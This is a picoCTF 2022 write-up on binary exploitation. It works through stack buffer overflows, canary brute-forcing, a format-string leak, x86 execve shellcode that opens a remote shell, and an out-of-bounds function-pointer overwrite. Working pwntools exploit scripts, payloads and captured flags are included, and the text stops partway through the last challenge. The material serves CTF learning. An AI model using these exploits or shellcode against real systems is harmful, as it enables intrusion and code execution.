Hi everyone! This post is on picoCTF 2022 write-up for binary exploitation that was held from 16th March 2022 to 30th Mar 2022. In this CTF, there are buffer overflow, on stack shellcode execution, format string attack, function overwrite, C programming array out of bound (OOB) arbilitary write, stack cache, and vulnerable string check. Let’s get started!
Summary
Vulnerable string check:
- 1. basic-file-exploit
- 5. RPS
Buffer overflow / On stack shellcode execution:
- 2. buffer overflow 0
- 4. buffer overflow 1
- 6. x-sixty-what
- 7. buffer overflow 2
- 8. buffer overflow 3
- 10. ropfu
- 11. wine
Format string attack:
- 9. flag leak
Function overwrite + C programming array arbilitary write via OOB:
- 12. function overwrite
Stack cache:
- 13. stack cache
1. basic-file-exploit

A C program source code, program-redacted.c, was provided to us.
If we look at the source code, we can see that the flag is stored in a static variable and will be printed in data_read() when entry_number == 0. This entry_number comes from variable entry which comes from the user input when prompted “Please enter the entry number of your data:\n”. Therefore, we just have to input “0” or any input with characters only such as “abc” to obtain entry_number == 0.
#include <stdio.h> #include <stdlib.h> #include <stdbool.h> #include <string.h> #include <stdint.h> #include <ctype.h> #include <unistd.h> #include <sys/time.h> #include <sys/types.h> #define WAIT 60 static const char* flag = "[REDACTED]"; ... static void data_read() { char entry[4]; long entry_number; char output[100]; int r; memset(output, '\0', 100); printf("Please enter the entry number of your data:\n"); r = tgetinput(entry, 4); // Timeout on user input if(r == -3) { printf("Goodbye!\n"); exit(0); } if ((entry_number = strtol(entry, NULL, 10)) == 0) { puts(flag); fseek(stdin, 0, SEEK_END); exit(0); }
Using CTRL+F to search for data_read(), we can see it is only called from main() when the user inputs 2 in the main menu.

Finally, we can netcat to the server and input the options required to obtain the flag. Note that we will first need to input data into the database for variable input to be more than 1. Otherwise, the program will notify us there is no data in the database if we choose option 2 from the main menu.
kali@kali~$ nc saturn.picoctf.net 55826 Hi, welcome to my echo chamber! Type '1' to enter a phrase into our database Type '2' to echo a phrase in our database Type '3' to exit the program 1 1 Please enter your data: hi! hi! Please enter the length of your data: 2 2 Your entry number is: 1 Write successful, would you like to do anything else? 2 2 Please enter the entry number of your data: 0 0 picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_149F090A}
2. buffer overflow 0

Two files were provided. The ELF binary file, vuln, for testing and the source code file, vuln.c. I prefers to look at the binary file by reverse engineering it will be more accurate for overflow. This is because during compilation, the compiler might changed how the program is to be executed. This includes changes to the memory management as well such as the buffer space required to overflow the EIP.
Firstly, I looked at the source code and noticed that the flag will be printed once segmentation fault is detected. This means we do not have to inject a shellcode. We just have to overwrite the EIP to cause a crash.

Now it is time to load the binary in IDA Pro. Go to vuln() and we will notice that it does not takes 24 bytes of As to overflow the EIP to make it 0x41414141 but rather 32 bytes due to additional variable var_4 being introduced after compilation and buf2’s buffer size is now 20 bytes instead of 16 due to slack alignment.

Below shows the proof EIP crashed at 0x41414141 when I supplied 32 As by running the binary on GDB and also obtaining the actual flag from the server.
kali@kali~$ echo hi > flag.txt kali@kali~$ gdb ./vuln ... (gdb) r Starting program: /home/kali/Desktop/vuln Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) q A debugging session is active. Inferior 1 [process 2996] will be killed. Quit anyway? (y or n) y kali@kali~$ nc saturn.picoctf.net 65445 Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA picoCTF{ov3rfl0ws_ar3nt_that_bad_6091cc95}
3. CVE-XXXX-XXXX

A quick google will allow us to find the answer to be picoCTF{CVE-2021-34527}.
4. buffer overflow 1

As usual, we will first look at the source code. Faster to analyze that purely depending on reverse engineering. We can see we just have to input a string that overflows the EIP such that when RET is called, the program will jump to win().

Next, load the binary on IDA Pro/Freeware and look at the vuln(). We can see buf is 0x28 (40) bytes from register EBP. Thus, we will need 48 bytes of characters to overflow the EIP. Since gets() includes NULL string terminator, we cannot just overflow 46 bytes of characters (a way to bypass PIE/ASLR by only overwriting lower significant bits of the return address in little-endian systems).

A good habit is to always check how if PIE/ASLR is enabled. I used checksec which shows that PIE is disabled. This means we can directly use the address of win(), 0x080491F6, found on IDA.
kali@kali~$ sudo apt install checksec kali@kali~$ checksec --file=./vuln ... PIE No PIE
Note that since a number of characters of the return address such as 0xF6 is not easy to represent as a character via the keyboard, I used pwntools which will allow us to directly send byte characters as input to the server.
4.1 Setup pwntools
Input the following into your Linux terminal.
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential python3 -m pip install --upgrade pip python3 -m pip install --upgrade pwntools
4.2 Craft exploit.py and run it!
Remember to craft exploit.py in the same location as your vuln binary file. We can just use elf.symbols[‘win’] to obtain the address of win(). p32() will help us to change the address to bytes in little-endian format. overflow_offset is 44 as offset 45 is the start of RET address location where we would like to write with the win()‘s address. Below shows the full exploit code using pwntools to simply the job for us.
from pwn import *
context.arch = 'i386'
# create ELF object of the challenge's files we want to exploit
elf = ELF("./vuln")
# offset before hitting the return address
overflow_offset = 44
overflow = b'A' * overflow_offset
# connect to server
r = remote('saturn.picoctf.net', 61452)
# craft full payload (including win()'s address)
log.info("win()'s address: " + str(hex(elf.symbols['win'])))
payload = overflow + p32(elf.symbols['win'])
# send exploit once prompted
r.sendlineafter("Please enter your string: \n", payload)
# get the "Okay, time to return... Fingers Crossed... " message returned to us
msg = r.recvuntil("\n")
log.info(str(msg))
flag = r.recv()
log.info(str(flag))
r.close()
Run the exploit from the terminal.
kali@kali~$ python3 exploit.py [*] '/home/kali/Desktop/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [+] Opening connection to saturn.picoctf.net on port 61452: Done [*] win()'s address: 0x80491f6 /home/kali/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) /home/kali/Desktop/exploit.py:24: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes msg = r.recvuntil("\n") [*] b'Okay, time to return... Fingers Crossed... Jumping to 0x80491f6\n' [*] b'picoCTF{addr3ss3s_ar3_3asy_586b0fef}' [*] Closed connection to saturn.picoctf.net port 61452
5. RPS

Only game-redacted.c is provided to us. Hence the vulnerability should not be something that requires a debugger to confirm our exploit.
Looking at the source code, we could see that it is a rock-paper-scissor game where we have to win 5 times. While studying the play() function, I noticed that the comparison that determines if we win that round is based on strstr(). As we have to input a string where it is either “rock”, “paper”, “scissor” and the length of our input is not checked by the program, why don’t we input all 3 answers in one input? That way, strstr(“rockpaperscissor”, loses[computer_turn]) will always return a pointer, causing IF statement to be true. This means we win that round!
If you don’t get it, if loses[computer_turn] contains”rock”, it can be found at the start of “rockpaperscissor”. If loses[computer_turn] is “paper”, it can be found at the 4th index of “rockpaperscissor”. The same applies to “scissor” which can be found in the 9th index.
...
char* loses[3] = {"paper", "scissors", "rock"};
...
bool play () {
char player_turn[100];
srand(time(0));
int r;
printf("Please make your selection (rock/paper/scissors):\n");
r = tgetinput(player_turn, 100);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
int computer_turn = rand() % 3;
printf("You played: %s\n", player_turn);
printf("The computer played: %s\n", hands[computer_turn]);
if (strstr(player_turn, loses[computer_turn])) {
puts("You win! Play again?");
return true;
} else {
puts("Seems like you didn't win this time. Play again?");
return false;
}
}
Therefore, we can connect to the server, play the game 5 rounds while inputting “rockpaperscissor” for every round to win.
kali@kali~$ nc saturn.picoctf.net 53296 Welcome challenger to the game of Rock, Paper, Scissors For anyone that beats me 5 times in a row, I will offer up a flag I found Are you ready? Type '1' to play a game Type '2' to exit the program 1 1 Please make your selection (rock/paper/scissors): rockpaperscissors rockpaperscissors You played: rockpaperscissors The computer played: rock You win! Play again? Type '1' to play a game Type '2' to exit the program 1 1 ... Please make your selection (rock/paper/scissors): rockpaperscissors rockpaperscissors You played: rockpaperscissors The computer played: paper You win! Play again? Congrats, here's the flag! picoCTF{50M3_3X7R3M3_1UCK_8525F21D} Type '1' to play a game Type '2' to exit the program 2 2 kali@kali~$
6. x-sixty-what

We are given two files. An ELF binary file, vuln, and a source code file, vuln.c. A quick look allows us to see that it is similar to “buffer overflow 1” challenge. We will need to overflow vuln()‘s RET address to overwrite the RIP register and points it to flag().

As usual, I trust the disassembled ELF binary more. Hence I loaded the file into IDA. It shows that indeed, it takes 0x40 (64) bytes to reach the RBP register.

As the question has already warned us that different machines may result in different output. It is true as my exploit works on my Kali machine but it failed when exploiting the remote machine. Therefore, I used the web shell provided by picoCTF and transferred the ELF binary file as the machine for the web shell is most likely the same machine used for the flag’s machine. Using the web shell below, we can see that if we use the flag()‘s address of the first or second instruction, it will have an error. But if we overwrite the RET address with “push rbp, rsp” of flag(), it will work.

This is because of the stack alignment issue where it must always be within 16 bits. Due to calling RETN, our stack will be nicely pointed at 0xXXXXXXXXXXXXXXXX0 (X can be any value). Usually, during a function/subroutine call, the return address is loaded on the stack followed by “push rbp” which will result in the stack to point at 0xXXXXXXXXXXXXXXXX0. In our situation, we don’t have the return address loaded on the stack, hence our RSP is already pointing at 0xXXXXXXXXXXXXXXXX0. Hence if our return address points to the start address of flag() which later on runs “push rbp” it will cause the stack to be aligned to 0xXXXXXXXXXXXXXXXX8 and causes a stack misalignment.

Finally, I came out with exploit.py which will allow us to obtain the flag upon execution.
from pwn import *
context.arch = 'amd64'
# create ELF object of the challenge's files we want to exploit
elf = ELF("./vuln")
# offset before hitting the return address
overflow_offset = 72
overflow = b'A' * overflow_offset
# connect to server
r = remote('saturn.picoctf.net', 65064)
#r = process("./vuln")
# craft full payload (including flag()'s address)
log.info("flag()'s address at 3rd instruction: " + str(hex(elf.symbols['flag']+5)))
payload = overflow + p64(elf.symbols['flag']+5)
# send exploit once prompted
r.sendlineafter("Welcome to 64-bit. Give me a string that gets you the flag: \n", payload)
flag = r.recvall()
log.info(str(flag))
r.close()
Running the script allows us to obtain the flag.
kali@kali~$ python3 exploit.py [*] '/home/kali/Desktop/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to saturn.picoctf.net on port 49548: Done [*] flag()'s address at 3rd instruction: 0x40123b /home/kali/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [+] Receiving all data: Done (34B) [*] Closed connection to saturn.picoctf.net port 65064 [*] b'picoCTF{b1663r_15_b3773r_ec424efd}'
7. buffer overflow 2

An ELF binary file, vuln, and source code, vuln.c, is given to us. Looking at the source code, we can see that it wants us to overflow the return address with address of win() while feeding argument 1 and 2 with the respective values.

As usual, I loaded the binary file to IDA Pro/Freeware to look at the number of bytes to overflow before reaching right before the return address. It turns out to be 0x6C (108) + 4 (EBP memory space on stack) = 0x70 (112) bytes

Below contains exploit.py which I have written for this challenge. Remember for x86, arguments are always push to the stack before pushing the return address during function calls. Hence we will have too append arguments after writing the address of win() at return address location.
from pwn import *
context.arch = 'i386'
# create ELF object of the challenge's files we want to exploit
elf = ELF("./vuln")
# offset before hitting the return address
overflow_offset = 112
overflow = b'A' * overflow_offset
# connect to server
r = remote('saturn.picoctf.net', 49364)
#r = process("./vuln")
# craft full payload (including win()'s address)
log.info("win()'s address: " + str(hex(elf.symbols['win'])))
payload = overflow + p32(elf.symbols['win']) + p32(0xCAFEF00D) + p32(0xF00DF00D)
# send exploit once prompted
r.sendlineafter("Please enter your string: \n", payload)
# to ignore our printed input due to puts(buf);
r.recvuntil(b'\n')
flag = r.recv()
log.info(str(flag))
r.close()
When running exploit.py, we will be able to obtain the flag.
kali@kali~$ python3 exploit.py [*] '/home/kali/Desktop/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Opening connection to saturn.picoctf.net on port 49364: Done [*] win()'s address: 0x8049296 /home/kali/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [*] b'picoCTF{argum3nt5_4_d4yZ_74abd092}' [*] Closed connection to saturn.picoctf.net port 49364
8. buffer overflow 3

This challenge provides us with an ELF binary file, vuln, and a source code file, vuln.c. Based on the source code, we see that the buffer overflow is protected by a static canary stored in canary.txt. Since the canary is fixed, we can brute force it.

Due us able to specify the number of bytes the program should read and the program uses read(), we can brute force efficiently by overwriting the canary byte by byte which will be more efficient since no NULL will be introduced. This will help to reduce the number of times we need to brute force. Below shows an example where the orange font shows the canary byte we overwrite where we will slowly increment until we find the correct byte, Once we found the the correct byte (program doesn’t returns “***** Stack Smahing Detected ***** : Canary Value Corrupt!\n“), we will overwrite the next canary byte to be more efficient.
- \x01\x69\x52\x64
- \x02\x69\x52\x64
- …
- \x42\x69\x52\x64
- \x42\x01\x52\x64
- …
- \x42\x69\x52\x64
- \x42\x69\x01\x64
- …
- \x42\x69\x52\x64
- \x42\x69\x52\x01
- …
- \x42\x69\x52\x63
- \x42\x69\x52\x64
Next, loading the binary file into IDA Pro/Freeware, we can see 0x50 – 0x10 = 0x40 (64) bytes is need to overflow the buf variable and 0xC + 4 (EBP memory space on stack) = 16 bytes are needed to overflow after the canary to reach right before the return address location on the stack.

As a result, I crafted exploit.py which will first brute force the canary before connecting to the server again to overwrite with the correct canary and return address value on the stack with win() to obtain the flag.
from pwn import *
context.arch = 'i386'
# create ELF object of the challenge's files we want to exploit
elf = ELF("./vuln")
# offset before hitting the canary variable
overflow_offset = 64
overflow = b'A' * overflow_offset
overflow_to_ret_offset = 16
overflow_to_ret = b'A' * overflow_to_ret_offset
# start off with empty canary
canary = b''
# connection info
domain_name = "saturn.picoctf.net"
port = 64057
# canary brute forcing
while True:
# since the canary length is 4, we check if we have found the full canary value. Else, continue to search.
if len(canary) < 4:
for c in range(1,256):
# connect to server
r = remote(domain_name, port)
#r = process('./vuln')
c = p8(c)
# craft payload with canary character by character for brute forcing
payload = overflow + canary + c
# we will only send until overflow_offset + the number of characters for canary value that we are brute forcing
r.sendlineafter("How Many Bytes will You Write Into the Buffer?\n", str(len(payload)))
# send exploit once prompted
r.sendlineafter("Input> ", payload)
# check if is correct canary value. If not, we will try another character.
response = r.recvuntil(b'\n')
r.close()
if response != b'***** Stack Smashing Detected ***** : Canary Value Corrupt!\n':
# since it is the correct character, we can append to our canary.
canary += c
log.info("Partial correct canary value for now: " + str(canary))
break
else:
# we have found the canary value
break
# connect to server
r = remote(domain_name, port)
# craft full payload (including win()'s address)
log.info("win()'s address: " + str(hex(elf.symbols['win'])))
log.info("Canary value: " + str(canary))
payload = overflow + canary + overflow_to_ret + p32(elf.symbols['win'])
r.sendlineafter("How Many Bytes will You Write Into the Buffer?\n", str(len(payload)))
# send exploit once prompted
r.sendlineafter("Input> ", payload)
# to ignore our printed input due to puts(buf);
r.recvuntil(b'\n')
flag = r.recv()
log.info(str(flag))
r.close()
Running the exploit will show that the canary value is “BiRd” and allow us to obtain the flag.
kali@kali~$ python3 epxloit.py ... [+] Opening connection to saturn.picoctf.net on port 64057: Done [*] Closed connection to saturn.picoctf.net port 64057 [*] Partial correct canary value for now: b'BiRd' [+] Opening connection to saturn.picoctf.net on port 59630: Done [*] win()'s address: 0x8049336 [*] Canary value: b'BiRd' /home/kali/Desktop/exploit.py:65: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes r.sendlineafter("How Many Bytes will You Write Into the Buffer?\n", str(len(payload))) [*] b'picoCTF{Stat1C_c4n4r13s_4R3_b4D_32625866}\n' [*] Closed connection to saturn.picoctf.net port 64057
9. flag leak

An ELF binary file, vuln, and the source code file, vuln.c, was given to us. Taking a look at the source code, I immediately notice it is a Format String attack challenge due to vulnerable way of printing user’s input.

Before we test it out, I loaded the binary file into IDA which shows that the source code isn’t accurate enough in terms of the position of variables on the stack as IDA Pro/Freeware shows that story[] is ontop of flag[] in vuln().

As usual, we always perform a format string attack by using 8 As followed by a number of %p. We can see that 0x414141410x41414141 is located at the 4th %p while 0x424242420x42424242 is located at 36th %p. The difference between 36th %p and 4th %p is 128 bytes which makes sense due to the size of story[].
kali@kali~$ echo BBBBBBBB > flag.txt kali@kali~$ chmod +x ./vuln kali@kali~$ ./vuln Tell me a story and then I'll tell you one >> AAAAAAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p Here's a story - AAAAAAAA0xffb2f6e00xf7d25a6c0x80493460x414141410x414141410x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x2570250x424242420x424242420x3000xf7de8e8e0xf7f3d9090x804c0000x10x80491a00xffb2f7c80xf7f43ce00xfbad20870x799282000x3e80x804c0000x10x80494100x3e80x804c0000xffb2f7c80x80494180x10xffb2f8840xffb2f88c0x3e8
We can further proof the flag variable starts from 36th %p by accessing it via the input. 0x42424242 == “BBBB”.
kali@kali~$ ./vuln Tell me a story and then I'll tell you one >> %36$p Here's a story - 0x42424242
As a result, I crafted exploit.py to help me retrieve the flag from position 36 onwards and convert the flag from hexadecimal to readable characters.
from pwn import *
context.arch = 'i386'
# create ELF object of the challenge's files we want to exploit
elf = ELF("./vuln")
flag_variable_pos = 36
payload = ""
# connect to server
r = remote('saturn.picoctf.net', 54296)
#r = process("./vuln")
# craft payload to read the flag from the stack
for i in range(flag_variable_pos, flag_variable_pos+16):
payload += "%" + str(i) + "$p"
# send exploit once prompted
r.sendlineafter("Tell me a story and then I'll tell you one >> ", payload)
# to ignore "Here's a story - \n" message to be sent to us
r.recvuntil(b'\n')
# read the flag in little-endian hexadecimal values
response = r.recv()
# to process the hexadecimal values flag into a readable string
preflag = response.decode("utf-8").split("0x")
# clear empty string from list due to split()
preflag = [x for x in preflag if x]
flag = ""
for hexdec in preflag:
try:
# convert hexadecimal values to chars
subflag = p32(int("0x" + hexdec, base=16)).decode("utf-8")
flag += subflag
# we will know it is the end of the flag
if '}' in subflag:
break
# exception means we have definitely reached the end of the flag and is reading some garbage values like "(nill)"
except Exception:
# since %p prints out hexadecimal means the 4 characters are in reverse order, we need to reverse retrieve their bytes
for single_hexdec1, single_hexdec2 in zip(hexdec[-2::-2], hexdec[-1::-2]):
single_hexdec = single_hexdec1 + single_hexdec2
# convert single hexadecimal value to integer
ascii_val = int("0x" + single_hexdec, base=16)
# add printable readable characters
if 32 < ascii_val and ascii_val < 127:
flag += ascii_val.decode("utf-8")
# found '}' which means it is the end of the flag
if ascii_val == 125:
break
else:
# start of non-possible flag value.
break
break
log.info(flag)
r.close()
Running the exploit allows us to obtain the flag.
kali@kali~$ python3 exploit.py [*] '/home/kali/Desktop/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Opening connection to saturn.picoctf.net on port 54296: Done /home/kali/Desktop/exploit.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes r.sendlineafter("Tell me a story and then I'll tell you one >> ", payload) /home/kali/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [*] picoCTF{L34k1ng_Fl4g_0ff_St4ck_d97b0d94} [*] Closed connection to saturn.picoctf.net port 54296
If you still do not understand how it works, I wrote before a detail format string attack explanation on another CTF challenge here.
10. ropfu

The challenge provides us with a binary ELF file, vuln, and a source code file, vuln.c. Despite the challenge mentioned that it is a Return-Oriented Programming (ROP) challenge, it does not seem like a pure ROP challenge to me as NX is disabled which means we can execute shellcode on the stack. Besides that, the binary does not use a shared library which is different from the usual ROP that combined with ret2libc.

As usual, I looked at the source code for quick understanding before loading the binary onto IDA Pro/Freeware which shows that 0x18 + 4 (EBP space on the stack) = 0x1C (28) bytes. Hence, the source code is not accurate.


For on-stack shellcode execution, we usually use JMP ESP. However, the JMP ESP on the binary is unreadable. Since the last function call is gets(), register EAX contains the address of buf which contains our shellcode. We can use “call EAX” to execute our shellcode by searching for a gadget that contains “call EAX”. Luckily, there is a gadget for it which we can use.
As a result, we can craft a Linux shellcode as shown below. I needed to change the position of ESP by “sub esp,0x50” so that when I push stuff onto the stack, it wouldn’t overwrite my shellcode on the stack since the ESP position is close to my shellcode position on the stack.
sub esp,0x50 # \x83\xec\x50 (change the stack pointer's position) xor edx,edx # \x31\xd2 (set that there is no 3rd arg) push edx # \x52 (push null byte onto stack as string terminator) xor ecx,ecx # \x31\xc9 (set that there is no 2nd arg) push '//sh' # \x68\x2f\x2f\x73\x68 (push "/bin//sh") push '/bin' # \x68\x2f\x62\x69\x6e mov ebx,esp # \x89\xe3 (set ebx, the 1st arg, with "/bin//sh\0") push 0x0b # \x6a\x0b pop eax # \x58 (set to use sys_execve) int 0x80 # \xcd\x80
Once we are ready, we can put the shellcode on the stack and pad the remaining free spaces from buf variable till the position right before the return address location on the stack. Below shows exploit.py which I have crafted which allows us to obtain an interactive shell.
from pwn import *
context.arch = 'i386'
# create ELF object of the challenge's files we want to exploit
elf = ELF("./vuln")
shellcode = b'\x83\xec\x50\x31\xd2\x52\x31\xc9\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80'
# offset before hitting the return address
overflow_offset = 28 - len(shellcode)
overflow = b'A' * overflow_offset
# connect to server
r = remote('saturn.picoctf.net', 62575)
#r = process("./vuln")
# setting up ROP to print/leak ASLR address of puts() in the libc of the server (bypass ASLR)
rop_elf = ROP(elf)
call_eax_asm = asm("call eax")
call_eax = next(elf.search(call_eax_asm))
print("CALL EAX address: " + hex(call_eax))
# craft payload with x86 Linux shellcode appended
payload = shellcode + overflow + p32(call_eax)
r.sendlineafter("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n", payload)
r.interactive()
Running it will allow us to obtain a shell and retrieve the flag.
kali@kali~$ python3 exploit.py [*] '/home/kali/Desktop/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [+] Opening connection to saturn.picoctf.net on port 62575: Done [*] Loaded 77 cached gadgets for './vuln' CALL EAX address: 0x804901d /home/kali/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [*] Switching to interactive mode $ id uid=0(root) gid=0(root) groups=0(root) $ ls flag.txt vuln $ cat flag.txt picoCTF{5n47ch_7h3_5h311_0f1f9878}$ [*] Interrupted [*] Closed connection to saturn.picoctf.net port 62575
11. wine

A binary PE file, vuln.exe, and a source code file, vuln.c, are provided for us. We can see that it is similar to the previous challenge “buffer overflow 1” where we will need to overwrite the EIP with win()‘s address.

Next, I loaded the PE file on IDA Pro/Freeware. We can see that we need to overwrite 0x88 + 4 (EBP space on the stack) = 0x8C (140) bytes to reach right before the EIP location on the stack.

Download winchecksec from here and add the path to the environmental variable on Windows. Next, we can use winchecksec to verify there is no ASLR.
C:\> winchecksec vuln.exe ... Results for: vuln.exe Dynamic Base : "NotPresent" ASLR : "NotPresent" High Entropy VA : "NotPresent" Force Integrity : "NotPresent" Isolation : "Present" NX : "NotPresent" SEH : "Present" CFG : "NotPresent" RFG : "NotPresent" SafeSEH : "NotPresent" GS : "NotPresent" Authenticode : "NotPresent" .NET : "NotPresent"
As a result, we can directly use win()‘s address which is 0x00401531. You can use 0x00401530 since x86 programs do not have a stack alignment issue. However, since I am doing it manually (instead of usually using elf.symbols[‘win’]), I like to practice this good habit.

To obtain the flag, we can pipe the input using Python2. Note that we have to use Python2 to pipe the input as Python3 has issues and will cause bad characters.
kali@kali~$ python2 -c "print b'A'*140 + b'\x31\x15\x40\x00'" | nc saturn.picoctf.net 56358 Give me a string! picoCTF{Un_v3rr3_d3_v1n_11eef972} Unhandled exception: page fault on read access to 0x00000000 in 32-bit code (0x00000000). Register dump: CS:0023 SS:002b DS:002b ES:002b FS:006b GS:0063 EIP:00000000 ESP:0064fe88 EBP:7fec3900 EFLAGS:00010206( R- -- I - -P- ) EAX:00000000 EBX:00230e78 ECX:0064fe18 EDX:7fec48f4 ESI:00000005 EDI:00111848 Stack dump: 0x0064fe88: 00000004 00000000 7b432ecc 00230e78 0x0064fe98: 0064ff28 00401386 00000002 00230e70 0x0064fea8: 0021d2d0 7bcc4625 00000004 00000008 0x0064feb8: 00230e70 00111848 0009c655 1419acc7 0x0064fec8: 00000000 00000000 00000000 00000000 0x0064fed8: 00000000 00000000 00000000 00000000 Backtrace: =>0 0x00000000 (0x7fec3900) 0x00000000: -- no code accessible -- Modules: Module Address Debug info Name (5 modules) PE 400000- 44b000 Deferred vuln PE 7b020000-7b023000 Deferred kernelbase PE 7b420000-7b5db000 Deferred kernel32 PE 7bc30000-7bc34000 Deferred ntdll PE 7fe10000-7fe14000 Deferred msvcrt Threads: process tid prio (all id:s are in hex) 00000008 (D) Z:\challenge\vuln.exe 00000009 0 <== 0000000c services.exe 00000020 0 0000001d 0 0000000e 0 0000000d 0 00000011 explorer.exe 00000012 0 0000001e winedevice.exe 00000022 0 00000021 0 0000001f 0 System information: Wine build: wine-5.0 (Ubuntu 5.0-3ubuntu1) Platform: i386 Version: Windows 7 Host system: Linux Host version: 5.13.0-1017-aws
If we want to do it via pwntools, we must use “\r\n” for newline characters for sendlineafter() as Windows is different from Linux in terms of newline characters. Despite in programming we use “\n” when printed on Windows, it becomes “\r\n”. Below is the source code for my exploit.py for this challenge.
from pwn import *
offset = b'A' * 140
RET = p32(0x00401531)
# connect to server
r = remote('saturn.picoctf.net', 56358)
# craft payload
payload = offset + RET
sleep(12)
# send exploit once prompted
r.sendlineafter("Give me a string!\r\n", payload)
flag = r.recv()
log.info(str(flag))
r.close()
Obtaining the flag by running exploit.py.
kali@kali~$ python3 exploit.py [+] Opening connection to saturn.picoctf.net on port 56358: Done /home/kali/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [*] b'picoCTF{Un_v3rr3_d3_v1n_11eef972}\r\n' [*] Closed connection to saturn.picoctf.net port 56358
12. function overwrite

A binary ELF file, vuln, and a source code file, vuln.c were provided to us. Below shows the source code which you can take a quick look before we get started.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
int calculate_story_score(char *story, size_t len)
{
int score = 0;
for (size_t i = 0; i < len; i++)
{
score += story[i];
}
return score;
}
void easy_checker(char *story, size_t len)
{
if (calculate_story_score(story, len) == 1337)
{
char buf[FLAGSIZE] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf, FLAGSIZE, f); // size bound read
printf("You're 1337. Here's the flag.\n");
printf("%s\n", buf);
}
else
{
printf("You've failed this class.");
}
}
void hard_checker(char *story, size_t len)
{
if (calculate_story_score(story, len) == 13371337)
{
char buf[FLAGSIZE] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf, FLAGSIZE, f); // size bound read
printf("You're 13371337. Here's the flag.\n");
printf("%s\n", buf);
}
else
{
printf("You've failed this class.");
}
}
void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};
void vuln()
{
char story[128];
int num1, num2;
printf("Tell me a story and then I'll tell you if you're a 1337 >> ");
scanf("%127s", story);
printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n");
scanf("%d %d", &num1, &num2);
if (num1 < 10)
{
fun[num1] += num2;
}
check(story, strlen(story));
}
int main(int argc, char **argv)
{
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
return 0;
}
12.1 Overwrite the function pointer
While glancing through the source code, I noticed that check is done on num1 and prevents writing to fun[] only if the number is more than 9. It did not check if our num1 input is less than 0 (see green arrow). This means we can input negative numbers to num1 so that the check() function will be overwritten with our values as check() function declaration is located before fun[] (see red arrow).

We have to overwrite the check() function pointer with easy_checker’s address (0x080492FC) instead to get the flag. Note that easy_checker’s address is fixed due to no ASLR (PIE disabled). We can check it via checksec.

Meanwhile, easy_checker’s address, 0x080492FC, can be obtained from IDA by loading the binary on IDA Pro/Freeware.

Next, we can go to the location of the fun[] variable and scroll up to see the check variable’s address.

Now that we know their addresses, we will need to know what value we have to set the num1 variable so that fun[num1] writes to the check variable instead. Firstly, we will have to get the address difference then divide it by 4 bytes which allows us to know the value should be -16. We need to divide by 4 bytes as each index access by fun[] is 4 bytes due to it being an integer array.
0x0804C080 - 0x0804C040 = 0x40 0x40 / 4 bytes = 0x10 (16) ---> -16 for num1
